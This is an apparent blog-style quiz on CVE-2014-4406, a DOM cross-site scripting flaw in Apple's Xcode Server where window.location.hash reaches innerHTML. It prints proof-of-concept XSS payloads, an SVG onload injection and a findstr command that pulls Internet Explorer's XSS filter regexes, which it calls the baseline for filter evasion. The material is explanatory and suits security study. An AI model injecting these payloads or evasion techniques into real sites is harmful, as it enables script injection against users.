CVE-2014-4406, APPLE-SA-2014-09-17-5 OS X Server 3.2.1, DOM XSS, window.location.hash

Keywords

Cross-Site Scripting (XSS), Document Object Model (DOM), window.location.hash, User Agent Exploitation, Proof of Concept (PoC), CVE-2014-4406, APPLE-SA-2014-09-17-5 OS X Server 3.2.1, XCode Server, CVE-2013-1034, SVG, toString, innerHTML

CVE-2014-4406 Summary

Cross-site scripting (XSS) vulnerability in Xcode Server in CoreCollaboration in Apple OS X Server before 3.2.1 allows remote attackers to inject arbitrary web script or HTML at window.location.hash with a Javascript Source of location.toString via Javascript Sink of innerHTML.

Cross-Site Scripting (XSS) exploits occur when attacker controlled data is rendered in an unsafe context that is User Agent Dependent.

CVE-2014-4406, DOM XSS, Source: location.ToString, Sink: innerHTML

XSS.Cx Picture Test. In order to understand the simple Vector into window.location.hash for CVE-2014-4406 here are 2 questions to test your XSS knowledge:

Test #1: IS or IS NOT XSS?

DETAILS

Test #1: The Picture shows a GET that contains the Javascript Injection into the window.location.pathname:

GET /ConvergeMonkey<script>alert(1)</script> HTTP/1.1

Host: s-am-us.dp.yahoo.com

The Application Response contains the Script Tags: /ConvergeMonkey<script>alert(1)</script>

Question #1: IS or IS NOT XSS and which (if any) Major User Agent(s) would alert(1)?

Answer #1: NOT XSS with No Major User Agents

Proof #1: URL Encoding of window.location.path by Major User Agents. See the DOM XSS Wiki

Proof of FireFox URL Encoding of window.location.path as GET via Proxy:
GET /ConvergeMonkey%3Cscript%3Ealert(1)%3C/script%3E

Proof #1: FireFox URL Encoding of window.location.path as GET via Proxy

Test #2: IS or IS NOT XSS? (CVE-2014-4406 Announcement)

CVE-2014-4406, APPLE-SA-2014-09-17-5 OS X Server 3.2.1, XCode Server: Cross-site scripting (XSS) vulnerability in Xcode Server in CoreCollaboration in Apple OS X Server before 3.2.1 allows remote attackers to inject arbitrary web script or HTML via window.location.hash.

DETAILS

Test #2: The Picture shows an SVG Injection into the URL at window.location.hash using “><svg onload=”confirm(7)”> detailing a DOM Tree Layout.

Question #2: IS or IS NOT XSS and which (if any) Major User Agent(s) would confirm(7)?

Answer #2: IS XSS and All Major User Agents Verify

Proof #2: Picture of URL executing with locationToString via innerHTML and Apple HT6448

CVE-2014-4406, APPLE-SA-2014-09-17-5 OS X Server 3.2.1, DOM XSS, window.location.hash

Question #2a: What DAST or SAST Tools (if any) would Confirm on Test #2?

Answer #2a: DOMinator, JSPrime, JSPWN

Suggestion: Use Burp Suite Pro as your Proxy

Comments: Its important to know the Regular Expressions that will Match and Replace your Injection Signature on a per User Agent basis and the Scope those Replacements and Concats are Applied (PreRender/Render Pipeline, Parser, Global Object, UnInitialized Variable, etc).

Start with the XSS Filter Rules for modern versions of Internet Explorer, these are the baseline from which all XSS Filter evasions are constructed.

Colin Jackson wrote a great White Paper on the XSS Auditor Filter found in Blink and WebKit. Using IE9 in the findstr example below, there 23 hardcoded Regular Expressions that will be used Pre-Render and applied to the URL.

======================================================
Extract the REGEX from MSHTML.DLL
======================================================
findstr /C:"sc{r}" WINDOWSSYSTEM32mshtml.dll|find "{"
======================================================
IE9 Summary - 23 Hardcoded Regex in mshtml.dll
======================================================
Fixed strings (2) javascript:, vbscript:
HTML tags (14) object, applet, base, link, meta, import, embed, vmlframe, iframe, script(2), style, isindex, form
HTML attributes (3)  " datasrc, " style=, " on*= (event handlers)
JavaScript strings (4) ";location=, ";a.b=, ");a(, ";a(b)
======================================================

Are Automated XSS Scanners Useful for Testing window.location.hash?

If you’re an XSS Bug Hunter the answer is NO; not without including true Javascript taint tracking, DOM Tree rendering, Xpath Testing, JS Framework Integration and Headless User Agent capabilities.

Window.location.hash is largely invisible to XSS Scanners. Following a Tainted Input Source of location.toString all the way to execution in the Sink of innerHTML is nearly BlackBox.

CVE-2014-4406 and CVE-2013-1034 were identified with XSS Signatures Only Fools Don’t Use for IE, Blink, FireFox and Opera plus Mobile Emulators.

Summary: XSS Scanners are Noise Generators without User Agent Correlation.

APPENDIX

A. XSS 101 (simplified)

DOM XSS begins at window.location.hash ‘#’ (simplified)
Reflected XSS is most frequently found in window.location.path, Query String or Parameters (simplified)
Stored XSS writes to a Client or Server File and later will write the stored content to output (simplified)
Sample URL: http://host/path/to/page.ext/test<a”‘%0A`= +%20>;test<a”‘%0A`= +%20>?test<a”‘%0A`= +%20>;#test<a”‘%0A`= +%20>;